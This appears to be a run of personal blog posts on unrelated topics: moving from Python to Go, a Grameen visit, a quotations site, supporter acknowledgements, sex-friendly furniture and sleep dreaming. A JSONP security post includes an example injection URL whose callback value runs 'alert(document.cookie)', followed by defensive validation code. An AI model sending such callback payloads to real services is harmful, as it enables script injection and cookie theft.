Besides being able to track the language developments using GitHub, the main advantage of the Git mirror is that you can now use it as a git submodule within your own repositories!

This is the main reason I setup the mirror — using the wonderful hg-git plugin by Scott — but I hope it proves useful to some of you too. Let me know if it does!

This is the first in a series of articles in which I'll document my move away from Python and the adventures encountered in using Go to build the Plexnet, an “internet operating system”.

My love affair with Python began in early 2000 when I discovered Zwiki. And despite brief flings with other languages — Alice, E, Erlang, Lisp, Lua, Objective-C, OCaml, Oz, PowerShell, Ruby, Scheme, Smalltalk — I've always returned to the sexiness of Python and the ubiquity of Javascript.

However, in recent times, I've found Python sadly lacking on a number of fronts, e.g.

1. Abysmal multi-core support.

   The multiprocessing module is a joke and if it were not for the ugly Prolog-inspired syntax, I'd have switched to Erlang long ago.

2. Fragmented networking support.

   Twisted is great, but forces you into callback hell. Eventlet and friends make good use of greenlets but still can't make use of those spare cores on my servers — Spawning helps though. The kqueue/epoll support in the standard library were, until relatively recently, broken or non-existent. At least pyev is cool, but there aren't any decent frameworks built on it!

3. Difficult to secure.

   Want to build your own App Engine like service? Good luck securing Python! It's possible, but we, the open source community, have yet to deliver. Mark Seaborn has done some great work getting Python onto Native Client but you'd still need to port all your C Extensions over. PyPy has a great sandbox, but you can't use newer Python features nor those C Extensions and, to boot, the networking support sucks.

4. Painful to optimise.

   Until PyPy's JIT or Unladen Swallow lands, the main way to optimise that slow running Python function is to write C extensions. This is a pain filled process. Cython definitely makes it easier, but you then have to deal with figuring out the limitations of Cython's syntax!

Now, until last week, I'd just put up with all the problems and waited for PyPy to mature. And when Go — the shiny, new programming language from Google — came along, I took a brief look and then dismissed it forthwith.

Sure, it looked like a nice programming language. And, sure, the guys behind it had made some of the biggest contributions to computing to date, including: UNIX, regular expressions, Plan 9 and even UTF-8! But I still didn't see the point in switching to Go as my primary language.

But then, a few days ago, whilst reading this wonderful rant by Jeff Bone on the poor state of today's programming languages, @evangineer pointed out that Go had rudimentary support for Native Client!

And within 24 hours, I was a Go convert. Now don't get me wrong, Python and I will always be good friends, but there's just no competing with Go. Why?

1. Native Client (NaCl) support.

   NaCl, like its distant cousin Vx32, allows one to safely execute untrusted “native code”, e.g. C code. It's one of the coolest open source projects to come out of Google!

   The most interesting application of such technology is of course as a way to allow for dynamic loading of browser extensions, e.g. Native Client in Google Chrome. This is useful 'cos, despite the crazy speeds of V8, you really don't want to be writing the metaverse in Javascript!

   Now, for those of you who might think that this is a return to to the world of crap that was ActiveX and Java applets, I'll explain later how NaCl can be very much in the spirit of the Open Web. However, first let me explain why we shouldn't necessarily be too enamoured with Javascript:

   • Javascript has no security model. If you were to do a client-side mashup between say your banking application and a photo application, there is nothing stopping the photo app from having fun with your financial data.

     Caja is definitely amazing work in this regard, but requires apps to run within containers which most aren't geared to do — not to mention the performance hit. ES5 will make life a little better in this regard, but that's still a while off…

   • Javascript has no decent concurrency model. Single-threaded execution was fine when all we were doing were image replacements on mouseover, but today's web apps could really do with some form of concurrency model.

     The best we could seemingly come up with is the piece of crap that are Web Workers in HTML5. And Flapjax, while it manages to bring functional reactivity to the browser, sadly ignores the whole issue of security.

   So it was in this context that we (Espians) worked on things like the webkit_bridge — to act as an interface between the browser's DOM and a PyPy-based interpreter providing a safe, concurrent, object-capability based language called λscript.

   But, as my friend Ade would say, Go + NaCl offers a more attractive path of least resistance! Google are already putting resources behind Chrome, Go and NaCl — there's no real reason (technical or otherwise) to duplicate the work! All we need to do is focus on implementing λscript using Go!

   And since people could create apps and services using Go itself, λscript can be a very minimal layer between the various NaCl processes — even less work! Now as to how this could be done in the spirit of the Open Web, consider this:

   • NaCl binaries are bloated beasts. It makes sense instead to come up with a source based packaging structure similar to ebuilds/setuptools/&c. for apps and services — these can then be compiled by the client thanks to the super-fast compilation feature of Go! So we can have “view source” and secure apps!

   Now, we are still a while away from the any of this happening and the NaCl support within Go is very experimental, but I'm sure it'll improve in time — especially given the following point.

2. Google backing.

   Corporate sponsorship tend to make projects worse off — but with the various Chrome, NaCl and Go projects, Google have really put together great teams and resourced them well. And there are lots of Google fanboys who will happily contribute their time to such projects too — making them even better!

3. Go is a decent language.

   Despite seemingly having ignored most of the advances in computer science in the last 20 years, Go is surprisingly a fun language to code in. The standard library packages are an impressive start. And you can definitely feel the influence of Python.

   However, runtime performance is an issue for the moment — there are enough micro-benchmarks showing Python to be more performant in certain contexts. This will change though, as:

   1. The packages in the standard library are worked on. There are a lot of low hanging optimisations to make here. A recent commit improved the regexp package by a factor of 3-20x!
   2. The compilers are worked on. Right now, gccgo is more performant at runtime but lacks various features, whilst the 6g series has more features and compiles faster. At some point, the various compilers will meet in some form, yielding more performant code all round.
   3. The new garbage collector is worked on. The current one is rather naive but as I understand it, they already have a much more performant one in the works.

   The syntax makes a pleasant compromise between C and Python. The documentation system is excellent — and the testing framework shows promise. The only thing I miss in this regard is having some equivalent to doctest — this should be possible once pkg/exp/eval for the Go interpreter matures though.

   Of course, goroutines rock! Who can say no to a typed-variant of the π-calculus? Not to mention being able to write code like go fuck_yourself() ;p

   But the real fun is with the interfaces — Python's duck-typing brought to a statically typed language! Who'd have thought? It really is quite brilliant — at least it will be once a few decent patterns emerge and are adopted. Until then I expect people to do all kinds of crazy things with them.

   The only thing I (and seemingly a lot of others) really miss is having first class containers which can handle generic data types like with Python's list, dict, &c. This is possible in Go right now, but you have to unbox them everytime which I'd rather not be doing…

   I've also seen a lot of people complain about the lack of exception handling in Go. I'm not sure what those people are talking about. Go has excellent exception handling. The “comma, ok” pattern is elegant enough and the defer statement provides a very good equivalent to the usual try/finally and some of the with patterns in Python.

In any case, I hope I make a reasonable case for why moving to Go might be worthwhile. Over the coming weeks, I'll continue this by documenting my adventures in the land of Go.

If you'd like to follow along, keep posted by following me on Twitter and let me know what you think in the comments below. Thanks!

Myself and other crazy visionaries will be speaking in Manchester on the 3rd of November for the Media Ecologies Workshop.

Put together by Phoebe Moore, it promises to be a rare gathering of various pioneering efforts — from those working on collaborative platforms to distributed manufacturing efforts.

Sadly it's only a one day event — so if anyone wants to organise a follow-up event for the next day, it'd certainly be very welcome!

Some of the speakers like the illustrious Michel Bauwens of the P2P Foundation will be coming over from distant lands and it'd be a shame to only get a day of their time.

In any case, I hope that you can come to Manchester for the event — it's free!

by leonardgavelle

by Yodel Anecdotal

Grameen's Nobel Prize-winning founder, Muhammad Yunus, had recently published his latest book and I wondered what he and his compatriots really thought about The Future of Capitalism.

And, boy, was I unprepared!

The first thing that strikes you is just how pervasive Grameen really is in Bangladesh.

Over in the West, we're only familiar with Grameen Bank — the multi-billion dollar bank that micro-finances the poor. But that's just one of over 20 Grameen companies — which cover everything from energy to textiles.

by olasofia

Step into the arrivals lounge at the airport in Dhaka and you are greeted by giant billboards advertising Grameen Phone. Go to buy a drink and you notice Grameen Danone. It seems that Grameen have successfully parlayed their way into becoming an impressive conglomerate.

But what's more impressive is the way that they've managed to do this. Sure enough, they run things in legacy command-and-control structures, but they've also managed to instill several systemic principles into each of their ventures along the way.

For example, whilst Grameen Bank would give an unsecured loan, it places certain constraints on the borrower — e.g. one can only borrow if their kids are in school and agree to save a certain amount regularly.

Using free market principles, Grameen have managed to come up with win-win structures that serve both themselves as an enterprise as well as the communities around them. This sort of permacultural thinking is so rare in this world and is what makes Grameen so impressive.

Mark, Chris, Yunus, Mostofa, Sofia & Tav

Discovering Grameen Shakti — their solar/biogas-based energy company — was the highlight of the trip for me. It is the best example of a Social Business that I've ever seen and this video on it is well worth watching.

Grameen are masters at creating win-win structures. And they have a broad leadership of about a dozen odd individuals — all friends from university days — who are driven by a common vision and set of ethics.

It wasn't clear if the emerging next generation of the leadership shared this holistic approach of their elders, but that's something that only time can tell. And the same goes for the various multinational Social Business partnerships they've been setting up, e.g. Grameen Intel.

In the meantime, I'd strongly encourage everyone to spend a few days over at Grameen HQ in Dhaka. Hidden beneath the seemingly dull office spaces, there are a lot of valuable lessons to learn there.

And, finally, as for the man himself, I am still in awe of just how genuinely humble Yunus is. Despite the non-stop demands on his time, he persists in making life better for others — without letting facts like being a Nobel laureate and running a multi-billion dollar conglomerate go to his head.

I strongly encourage you to visit Dhaka — and if not, at least read the book.

It's also one of those moments when you are super super proud of your girlfriend! Sofia, the founder of London Creative Labs, is an amazing systems thinker with a deep focus on “soft” technologies.

However, until now, she has rarely shared her vision in a way that's accessible for most people. But with London Creative Labs, not only has she setup a very cool project, but the communications about it are brilliant!

I'm very proud of my sexy girl.

• Check out London Creative Labs
• Join the Facebook Page!

Whilst web developers have started to take XSS and CSRF seriously, a tiny detail often goes unnoticed — JSONP callback values.

The idea behind JSONP is to allow for composable client-side apps by allowing for cross-domain data fetching. It's a brilliantly simple idea and the callback parameter is used to specify the name of a callback function.

For example, FriendFeed would return the following when you supply it's APIs with a callback=handleFriendFeedData parameter:

handleFriendFeedData({..JSON-Data...})

Unfortunately, most services will also pass through pretty much anything — allowing attackers to inject malicious Javascript, e.g.

• http://friendfeed.com/api/feed/public?callback=alert%28document.cookie%29%3Bfoo

This would allow for arbitrary Javascript to be executed in the context of the caller site. So, what's the big deal you ask? Surely you only make JSONP calls to sites that you trust?

Well, imagine a client-side web application which allows arbitrary data sources to be added. It's not too implausible a future where instead of adding RSS feeds to an RSS Reader, one adds JSON feeds to such an application…

In this context, if the user is tricked into adding a maliciously crafted URL, then everything from their identity to their data is accessible — not to mention being able to abuse the account to spread a worm even!

I believe the possibilities of using JSONP haven't been explored much yet, and for it to go further in the context of interesting mashups/applications, it's important that it not be a security hole.

And, combined with other vulnerabilities, the seemingly innocuous callback value could have devastating effects!

My apologies for picking on FriendFeed — it could've just as well have been a thousand other services. As for the few sites that do restrict the callback value, one is often left wondering if the developers knew what they were doing.

For example, delicious restricts it to the character set 0-9 a-z A-Z ()[],._-+=/|\~?!#$^*: '". But, besides being totally arbitrary and insecure, it disallows perfectly valid characters in Javascript identifiers such as Unicode letters.

So, failing to find any decent JSONP callback sanitisation code out there, I ended up writing one myself:

• http://github.com/tav/scripts/blob/master/validate_jsonp.py

It accepts callback values of the following formats:

• A valid Javascript Identifier: <identifier>
• Dot notation: <identifier>.<identifier>
• Array index lookup: <identifier>[<integer>]

Here are some examples:

>>> is_valid_jsonp_callback_value('somefunction')
True

>>> is_valid_jsonp_callback_value('someobject.somemethod')
True

>>> is_valid_jsonp_callback_value('somearray[12345]')
True

It accepts all valid Javascript identifiers as defined in the ECMAScript specification:

>>> is_valid_jsonp_callback_value(u'Stra\u00dfe')
True

>>> is_valid_jsonp_callback_value(r'\u0062oo')
True

>>> is_valid_jsonp_callback_value('$42.ajaxHandler')
True

But disallows everything else:

>>> is_valid_jsonp_callback_value('alert(document.cookie)')
False

>>> is_valid_jsonp_callback_value(r'\u0020')
False

Here's the current source code — which, as usual, I've placed into the public domain. Let me know if you find it useful or would like to make any changes. Thanks!

# -*- coding: utf-8 -*-

# Placed into the Public Domain by tav <tav@espians.com>

"""Validate Javascript Identifiers for use as JSON-P callback parameters."""

import re

from unicodedata import category

# ------------------------------------------------------------------------------
# javascript identifier unicode categories and "exceptional" chars
# ------------------------------------------------------------------------------

valid_jsid_categories_start = frozenset([
    'Lu', 'Ll', 'Lt', 'Lm', 'Lo', 'Nl'
    ])

valid_jsid_categories = frozenset([
    'Lu', 'Ll', 'Lt', 'Lm', 'Lo', 'Nl', 'Mn', 'Mc', 'Nd', 'Pc'
    ])

valid_jsid_chars = ('$', '_')

# ------------------------------------------------------------------------------
# regex to find array[index] patterns
# ------------------------------------------------------------------------------

array_index_regex = re.compile(r'\[[0-9]+\]$')

has_valid_array_index = array_index_regex.search
replace_array_index = array_index_regex.sub

# ------------------------------------------------------------------------------
# javascript reserved words -- including keywords and null/boolean literals
# ------------------------------------------------------------------------------

is_reserved_js_word = frozenset([

    'abstract', 'boolean', 'break', 'byte', 'case', 'catch', 'char', 'class',
    'const', 'continue', 'debugger', 'default', 'delete', 'do', 'double',
    'else', 'enum', 'export', 'extends', 'false', 'final', 'finally', 'float',
    'for', 'function', 'goto', 'if', 'implements', 'import', 'in', 'instanceof',
    'int', 'interface', 'long', 'native', 'new', 'null', 'package', 'private',
    'protected', 'public', 'return', 'short', 'static', 'super', 'switch',
    'synchronized', 'this', 'throw', 'throws', 'transient', 'true', 'try',
    'typeof', 'var', 'void', 'volatile', 'while', 'with',

    # potentially reserved in a future version of the ES5 standard
    # 'let', 'yield'

    ]).__contains__

# ------------------------------------------------------------------------------
# the core validation functions
# ------------------------------------------------------------------------------

def is_valid_javascript_identifier(identifier, escape=r'\u', ucd_cat=category):
    """Return whether the given ``id`` is a valid Javascript identifier."""

    if not identifier:
        return False

    if not isinstance(identifier, unicode):
        try:
            identifier = unicode(identifier, 'utf-8')
        except UnicodeDecodeError:
            return False

    if escape in identifier:

        new = []; add_char = new.append
        split_id = identifier.split(escape)
        add_char(split_id.pop(0))

        for segment in split_id:
            if len(segment) < 4:
                return False
            try:
                add_char(unichr(int('0x' + segment[:4], 16)))
            except Exception:
                return False
            add_char(segment[4:])

        identifier = u''.join(new)

    if is_reserved_js_word(identifier):
        return False

    first_char = identifier[0]

    if not ((first_char in valid_jsid_chars) or
            (ucd_cat(first_char) in valid_jsid_categories_start)):
        return False

    for char in identifier[1:]:
        if not ((char in valid_jsid_chars) or
                (ucd_cat(char) in valid_jsid_categories)):
            return False

    return True


def is_valid_jsonp_callback_value(value):
    """Return whether the given ``value`` can be used as a JSON-P callback."""

    for identifier in value.split(u'.'):
        while '[' in identifier:
            if not has_valid_array_index(identifier):
                return False
            identifier = replace_array_index(u'', identifier)
        if not is_valid_javascript_identifier(identifier):
            return False

    return True

# ------------------------------------------------------------------------------
# test
# ------------------------------------------------------------------------------

def test():
    """
    The function ``is_valid_javascript_identifier`` validates a given identifier
    according to the latest draft of the ECMAScript 5 Specification:

      >>> is_valid_javascript_identifier('hello')
      True

      >>> is_valid_javascript_identifier('alert()')
      False

      >>> is_valid_javascript_identifier('a-b')
      False

      >>> is_valid_javascript_identifier('23foo')
      False

      >>> is_valid_javascript_identifier('foo23')
      True

      >>> is_valid_javascript_identifier('$210')
      True

      >>> is_valid_javascript_identifier(u'Stra\u00dfe')
      True

      >>> is_valid_javascript_identifier(r'\u0062') # u'b'
      True

      >>> is_valid_javascript_identifier(r'\u62')
      False

      >>> is_valid_javascript_identifier(r'\u0020')
      False

      >>> is_valid_javascript_identifier('_bar')
      True

      >>> is_valid_javascript_identifier('some_var')
      True

      >>> is_valid_javascript_identifier('$')
      True

    But ``is_valid_jsonp_callback_value`` is the function you want to use for
    validating JSON-P callback parameter values:

      >>> is_valid_jsonp_callback_value('somevar')
      True

      >>> is_valid_jsonp_callback_value('function')
      False

      >>> is_valid_jsonp_callback_value(' somevar')
      False

    It supports the possibility of '.' being present in the callback name, e.g.

      >>> is_valid_jsonp_callback_value('$.ajaxHandler')
      True

      >>> is_valid_jsonp_callback_value('$.23')
      False

    As well as the pattern of providing an array index lookup, e.g.

      >>> is_valid_jsonp_callback_value('array_of_functions[42]')
      True

      >>> is_valid_jsonp_callback_value('array_of_functions[42][1]')
      True

      >>> is_valid_jsonp_callback_value('$.ajaxHandler[42][1].foo')
      True

      >>> is_valid_jsonp_callback_value('array_of_functions[42]foo[1]')
      False

      >>> is_valid_jsonp_callback_value('array_of_functions[]')
      False

      >>> is_valid_jsonp_callback_value('array_of_functions["key"]')
      False

    Enjoy!

    """

if __name__ == '__main__':
    import doctest
    doctest.testmod()

You can clone the latest version from my scripts repository at GitHub:

git clone git://github.com/tav/scripts.git

Feel free to also port it into other programming languages.

Enjoy and let me know what you think, thanks!

There's not much public yet, but I am very happy to let you know that the first part of it, Espra Trust Maps, will be landing in the next few weeks — I hope you'll like it!

If you'd like to know about all the other cool developments that have been happening, see the Iteration X Progress Summary article. Some highlights include:

• An initial implementation of the Plexnet data model. [code]
• A webkit bridge that binds together our PyPy interpreter with WebKit! Python in your web browser babeh! [code]

I've also been writing some articles on the new Espians website. Some of you might find the following interesting:

• Getting started with Git
• Why App Engine is not appropriate for Bootstrap

And, oh, the amazing Howard Rheingold joined our Board of Mentors!

As someone who loved readings quotations as a kid, I was super excited when Mamading told me about his idea a few days ago.

There is a lot of wisdom in quotes. A lot for all of us to learn from. Unfortunately, the websites I've seen dedicated to quotations are way too cluttered for my tastes.

In contrast, the initial version of Quotessence offers something much cleaner. Just go to the website and you are presented with a single quote to take away. You can even limit it to quotes from just a single author, e.g. Epigrams in Programming by Alan Perlis.

Quotessence is showing a lot of promise for a first release. And the upcoming features sound quite nice too:

• Twitter integration: follow @Quotessence for regular intakes of words from the wise.
• Unix fortune files support.
• Addition of a lot more authors/quotations.

For the programmers there's even a JSON-based API. You can limit it to an individual author, e.g. http://quotessence.agoraworx.com/api/perlis and even specify an optional callback parameter for JSON-P usage.

For example, to get the following random quote from the eminently quotable Mamading:

Just do:

$.getJSON(
    "http://quotessence.agoraworx.com/api/mamading?callback=?",
    function (data) {
        $('#epigraph-content').text(data.quote);
        $('<a />').attr(
          'href', 'http://quotessence.agoraworx.com/' + data.deck
        ).text(data.author).appendTo('#epigraph-attribution');
    }
);

All in all this is a great start! And I'd be even more excited if Quotessence would allow for quotes on Twitter to be captured easily — sort of like a bash.org for Twitter…

Check out Quotessence and hassle Mamading on Twitter @evangineer with your thoughts/praise ;p

Hundreds of people have — knowingly or not — had a direct impact on my work/vision. Their belief, inspiration, energy, encouragement, suggestions, criticisms, support (both emotional and financial), tasty treats and hard work has been phenomenal!

I'd like to reward them with some life-time tav-branded pecu allocations.

Since I'm not making any pecu payouts at the moment, they're not worth much yet — but I hope one day that those who've helped me will feel the gratitude =)

See below for the full list of pecu allocations.

The following individuals have put in a lot to make my vision a reality and I'd like to reward them with 200,000 pecus each:

• Alex Tomkins
• Brian Deegan
• Chris Macrae
• Cris Pearson
• Daniel Biddle
• Danny Bruder
• David Pinto
• Inderpaul Johar
• James Arthur (+200,000)
• Jeffry Archambeault
• John McCane-Whitney
• Liliana Avrushin
• Luke Graybill
• Mamading Ceesay (+100,000)
• Martyn Hurt
• Matthieu Rey-Grange
• Mathew Ryden (+100,000)
• Nadine Gahr
• Nathan Staab
• Narmatha Murugananda
• Navaratnam Para
• Nicholas Midgley
• Øyvind Selbek (+200,000)
• Sofia Bustamante
• Sean B. Palmer (+100,000)
• Stefan Plantikow
• Tim Jenks
• Tiziano Cirillo
• Tom Salfield
• Yan Minagawa

The following beautiful creatures have helped at various critical junctures or laid key foundations. For this they get 20,000 pecus each:

• Aaron Swartz
• Adam Langley
• Ade Thomas
• Adnan Hadzi
• Alex Greiner
• Alex Pappajohn
• Allen Short
• Andreas Dietrich
• Andrew Kenneth Milton
• Anne Biggs
• Anne Helene Wirstad
• Anette Hvolbæk
• Bryce Wilcox-O'Hearn
• Charles Goodier
• Chris Wood
• Claire Assis
• David Bovill
• Derek Richards
• Eric Hopper
• Eric Wahlforss
• Erik Möller
• Erol Ziya
• Ephraim Spiro
• Fenton Whelan
• Fergus Doyle
• Gary Alexander
• Gloria Charles
• Guido van Rossum
• Guilhem Buzenet
• Howard Rheingold
• Itamar Shtull-Trauring
• Jacob Everist
• Jan Ludewig
• Jill Lundquist
• Jim Carrico
• Jo Walsh
• Joe Short
• Joerg Baach
• John Hurliman
• Josef Davies-Coates
• Henri Cattan
• Henry Hicks
• Ka Ho Chan
• Karin Kylander
• Karina Arthur
• Katie Miller
• Kisiyane Roberts
• Laura Tov
• Lesley Donna Williams
• Lucie Rey-Grange
• Maciej Fijalkowski
• Mark Poole
• Maria Glauser
• Maria Chatzichristodoulou
• Matthew Sellwood
• Matthew Skinner
• Mayra Graybill
• Mia Bittar
• Mohan Selladurai
• Neythal (Sri Lanka)
• Nolan Darilek
• Olga Zueva
• Paul Böhm
• Phillip J. Eby
• Pierre-Antoine Tetard
• Ricky Cousins
• Salim Virani
• Saritah (Sarah Louise Newman ?)
• Saul Albert
• Shalabh Chaturvedi
• Simeon Scott
• Simon Michael
• Simon Fox
• Simon Reynolds
• Stephan Karpischek
• Steve Alexander
• Suhanya Babu
• Tavin Cole
• Thamilarasi Siva
• Tim Berners-Lee
• Tom Owen-Smith
• Vanda Petanjek
• Xiao Xuan Guo

These lovely supporters get 2,000 pecus each:

• Adam Burns
• Adam Karpierz (Poland)
• Adam Perfect
• Adam Wern
• Adir Tov
• Agathe Pouget-Abadie
• Al Tepper
• Alan Wagenberg
• Alex Bustamante
• Alexander Wait (USA)
• Alice Fung
• Andreas Kotes
• Andreas Schwarz
• Andrius Kulikauskas
• Andy Dawkins
• Andy McKay
• Andrew M. Kuchling
• Andrew McCormick
• Angela Beesley Starling
• Anna Gordon-Walker
• Anna Rothkopf
• Annalisa Fagan
• Anne Doyle
• Anselm Hook
• Ante Pavlov
• Arani Siva
• Ash Gerrish
• Ashley Siple
• Auro Tom Foxtrot
• Azra Gül
• Beatrice Wessolowski
• Ben Pirt
• Ben Swartz
• Benjamin Geer
• Benny “Curus” Amorsen
• Bernard Lietaer
• Blake Ludwig
• Boian Rodriguez Nikiforov
• Bram Cohen
• Brandon Wiley
• Bree Morrison
• Brenton Bills
• Brian Coughlan
• Briony “Misadventure” (UK)
• Callum Beith
• Candie Duncan
• Carl Ballard Swanson
• Carl Friedrich Bolz
• Céline Seger
• Chai Mason
• Charley Quinton
• Chris Cook
• Chris Davis
• Chris Heaton
• Chris McDonough
• Chris Withers
• Christoffer Hvolbaek
• Christopher Satterthwaite
• Christopher Schmidt
• Clara Maguire
• Cory Doctorow
• Craig Hubley
• Cyndi Rhoades
• Damiano Vukotić
• Dan Brickley
• Daniel Harris
• Daniel Magnoff
• Dante-Gabryell Monson
• David Bausola
• David Cozens
• David Goodger
• David Mertz
• David Midgley
• David Mills
• David Saxby
• Darran Edmundson
• Darren Platt
• Debra Bourne (UK)
• Dharushana Muthulingam
• Dermot ? (UK)
• Dimitris Savvaidis
• Dominik Webb
• Donatella Bernstein
• Dorothee Olivereau
• Dmytri Kleiner
• Earle Martin
• Edward Saperia
• Eléonore De Prunelé
• Elisabet Sahtouris
• Elkin Gordon Atwell
• Elmar Geese
• Emma Wigley
• Emmanuel Baidoo
• Erik Stewart
• Fabian Kyrielis
• Farhan Rehman
• Femi Longe
• Felicity Wood
• Felix Iskwei
• Florence David
• Francesca Cerletti (UK)
• Francesca Romana Giordano
• Gabe Wachob
• Gabrielle Hamm
• Gareth Strangemore-Jones
• Gary Poster
• Gaurav Pophaly
• Gavin Starks
• Gemma Youlia Dillon
• Geoff Jones
• Geoffry Arias
• George Nicholaides
• Gerry Gleason
• Giles Mason
• Glyph Lefkowitz
• Gordon Mohr
• Grant Stapleton
• Greg Timms
• Gregor J. Rothfuss
• Guy Kawasaki
• Hannah Harris
• Harriet Harris
• Heather Wilkinson
• Helen Aldritch
• Henry Bowen
• Holly Lloyd
• Holly Porter
• Ian Clarke
• Ian Hogarth
• Ida Norheim-Hagtun
• Igor Tojcic
• Ilze Black
• Inge Rochette
• James Binns
• James Cox (UK)
• James Howison (Australia)
• James Hurrell
• James McKay (Switzerland)
• James Stevens
• James Sutherland
• James Wallace
• Jan-Klaas Kollhof
• Jane Moyses
• Javier Candeira
• Jeannie Cool
• Jeremie Miller
• Jessica Bridges-Palmer
• Jim Ley
• Jimmy Wales
• Joanna O'Donnell
• Joe Geldart (UK)
• Joey DeVilla
• John Bywater
• John Cassidy
• John Lea
• John “Sayke” ?
• Joi Ito
• Jon Bootland
• Jonathan Robinson
• Joni Davis ?
• Jose Esquer
• Joseph O'Kelly (UK)
• Joy Green
• Juan Pablo Rico
• Jubin Zawar
• Judith Martin
• Julia Forster
• Jurgen Braam
• Justin O’Shaughnessy (UK)
• Ka-Ping Yee
• Kapil Thangavelu
• Karen Hessels
• Katerina Tselou
• Katja Strøm Cappelen
• Kath Short
• Katie Keegan
• Katie Prescott
• Katy Marks
• Kelly Teamey
• Ken Manheimer
• Kevin Hemenway
• Kevin Marks
• Kiran Jonnalagadda
• Kiyoto Kanda
• Lanchanie Dias Gunawardena
• Laura Scheffler
• Lauri Love
• Leon Rocha
• Lena Nalbach
• Leslie Vuchot
• Lewis Hart
• Libby Miller
• Lion Kimbro
• Lisa Colaco
• Lord Kimo
• Lottie Child
• Lucas Gonzalez
• Luke Francl
• Luke Kenneth Casson Leighton
• Luke Nicholson
• Luke Robinson
• Lynton Currill Kim-Wai Pepper
• Magnolia Slimm
• Manuel Sauer
• Maor Bar-Ziv
• Marco Herry
• Mark Brown
• Mark Chaplin
• Mark Hodge
• Mark S. Miller
• Markus Quarta
• Marguerite Smith
• Marshall Burns
• Martin Peck
• Mary Fee
• Matt Cooperrider
• Matthew Devney
• Mattis Manzel
• Mayra Vivo Torres
• Meghan Benton
• Meera Shah
• Menka Parekh
• Michael Linton
• Michael Maranda
• Michael Sparks
• Michel Bauwens
• Mike Linksvayer
• Mikey Weinkove
• Mitchell Jacobs
• Molly Webb
• Moraan Gilad
• Mostofa Zaman
• Navindu Katugampola
• Nathalie Follen
• Nick Hart-Williams
• Nick Ierodiaconou
• Nick Szabo
• Nicolas David
• Niels Boeing (Germany)
• Nils Toedtmann
• Nisha Patel
• Nishant Shah
• Noa Harvey
• Noah Slater
• Oliver Morrison
• Oliver Sylvester-Bradley
• Oz Mose
• Pamela McLean
• Paola Desiderio
• Paolo “xerox” Martini (UK)
• Pascale Scheurer
• Patrick Andrews
• Patrick Yiu
• Paul Everitt
• Paul Harrison
• Paul Mutton (UK)
• Paul Pesach
• Paul Robinett
• Peri Urban
• Pete Brownwell
• Petit-Pigeard Clotilde
• Phil G
• Phil Harris
• Piccia Neri
• Pietro Speroni di Fenizio
• R. David Murray
• Rama Gheerawo
• Raph Levien
• Rasmacone Boothe
• Rasmus Tenbergen
• Rastko ?
• Ray Murray
• Raymond Hettinger
• Rayhan Omar
• Rebecca Harding
• Reem Martin
• Riccarda Zezza
• Rob Lord
• Robert De Souza
• Robert Kaye
• Robert Knowles
• Robin Upton
• Rodney Shakespeare
• Rohit Khare
• Roman Nosov
• Ron Briefel
• Ricardo Niederberger Cabral
• Richard Ford
• Richard Nelson
• Richard “coldfyre” Nicholas (USA)
• Roger Dingledine
• Romek Szczesniak
• Ross Evans (UK)
• Rufus Pollock
• Salim Fadhley (UK)
• Sam Brown
• Sam Geall
• Sam Joseph
• Sara Kiran
• Selas Mene
• Servane Mouazan
• Shahid Choudhry
• Shane Hughes
• Simon Bartlet
• Simon Persoff
• Simon Rawles
• Sonia Ali
• Sophie ? (Austria)
• Sophie Le Barbier
• Stan Rey-Grange
• Stayce Kavanaugh
• Stefan Baker
• Steffi Dayalan
• Stella Boeva
• Stephan Dohrn
• Stephen Wilmot
• Steve Jenson
• Steve Peake
• Steven Starr
• Su Nandy
• Suresh Fernando
• Suw Charman
• Sunir Shah
• Sym Von LynX
• Tamsin Lejeune
• Tanis Taylor
• Tansy E Huws
• Tess Ashwin
• Tim Wacker (USA)
• Tom D. Harry (UK)
• Tom Heiser
• Tom Longson
• Tom Williams
• Tommy Hutchinson
• Tommy Teillaud
• Toni Prug
• Toni Sola
• Tony Cook
• Tyler Eaves
• Ushani Suresh
• Veeral ?
• William Wardlaw-Rogers
• Wayne Siron
• Wes Felter
• Wybo Wiersma
• Zoe Young

And, finally, whilst I'm not currently making any pecu allocations to them, I feel deeply indebted to these visionaries, musicians, coders and writers:

• A. R. Rahman
• Alan Kay
• Asian Dub Foundation
• Au Revoir Simone
• Bruce Sterling
• Buckminster Fuller (passed away)
• Daft Punk
• David Lynch
• Douglas Engelbart
• Fernando Perez
• India Arie
• Jeff Buckley (passed away)
• Kim Stanley Robinson
• Lawrence Lessig
• M.I.A.
• Mahatma Gandhi (passed away)
• Manu Chao
• Marc Stiegler
• Mark Pilgrim
• Marlena Shaw
• Massive Attack
• Michael Franti
• Muhammad Yunus
• Neal Stephenson
• Nouvelle Vague
• P.M.
• Paul Graham
• Peter Norvig
• Portishead
• Ray Charles (passed away)
• Ray Ozzie
• Richard P. Gabriel
• Tanya Stephens
• Ted Nelson
• Tim Peters
• Vannevar Bush (passed away)
• Vint Cerf

Thank you all!

Start designing today!

by xkcd

It is essential that all designs serve multiple purposes. That is, it should not be obvious that they are for sex. That is just tacky. Having a Love Swing in your living room is a sure way to give your guests the creeps!

Instead, check out the Tantra Chair (Warning: NSFW). This classy eco-friendly fuck chair could easily blend in as part of the regular living room furniture. Lovers can be comfortable. Guests have a nice seat =)

Variation is important to a healthy sex life. And the physical elements in our homes should be designed to facilitate this! Otherwise the tendency is to fall back on the same old positions/routines and that is just painful!!

Take the bathroom as an example. Sex whilst showering together is great fun! Yet most houses have poorly designed bathrooms/showers in this regard. You have to perform some acrobatics to get the heights and angles right.

So many good moments are lost because the design wasn't good enough to help make it happen. But if enterprising designers would work at this, it would make for a better world. Not least, it would open the doorways of imagination to even more possibilities than what we have today!

by Pensiero

Tip 10: Time Shift Dreaming

We spend a significant amount of time sleeping. It's important for many things — not least memory consolidation.

But you can take advantage of this time to improve youself:

• Come up with creative solutions
• Learn new things
• Resolve emotional hangups

How? Using a methodology that I call “Time Shift Dreaming”.

I discovered this method rather accidentally when I was about 6 years old. My parents had told me that the spirit of our ancestors were always watching over us — and being a gullible child, I'd believed them.

And one day, I did something which I wasn't proud of. And fearing the wrath of these all knowing spirits, I tried to figure out how to go back in time.

For days after, I sat around day dreaming — replaying the events of the past but imagining how I would have reacted differently.

The guilt passed and these flights of fancy became a regular habit. I fancied myself a Lord of Time and would “jump” into different timelines/universes and explore alternative realities.

But there weren't enough hours in a day for these fantasies, so I started setting up scenarios just before I would drift off to sleep:

• Choose a point in time to jump to — in the past or future
• Define my reason for being there
• Start exploring the new “reality” as I gradually fell asleep

This is what I now call time shift dreaming.

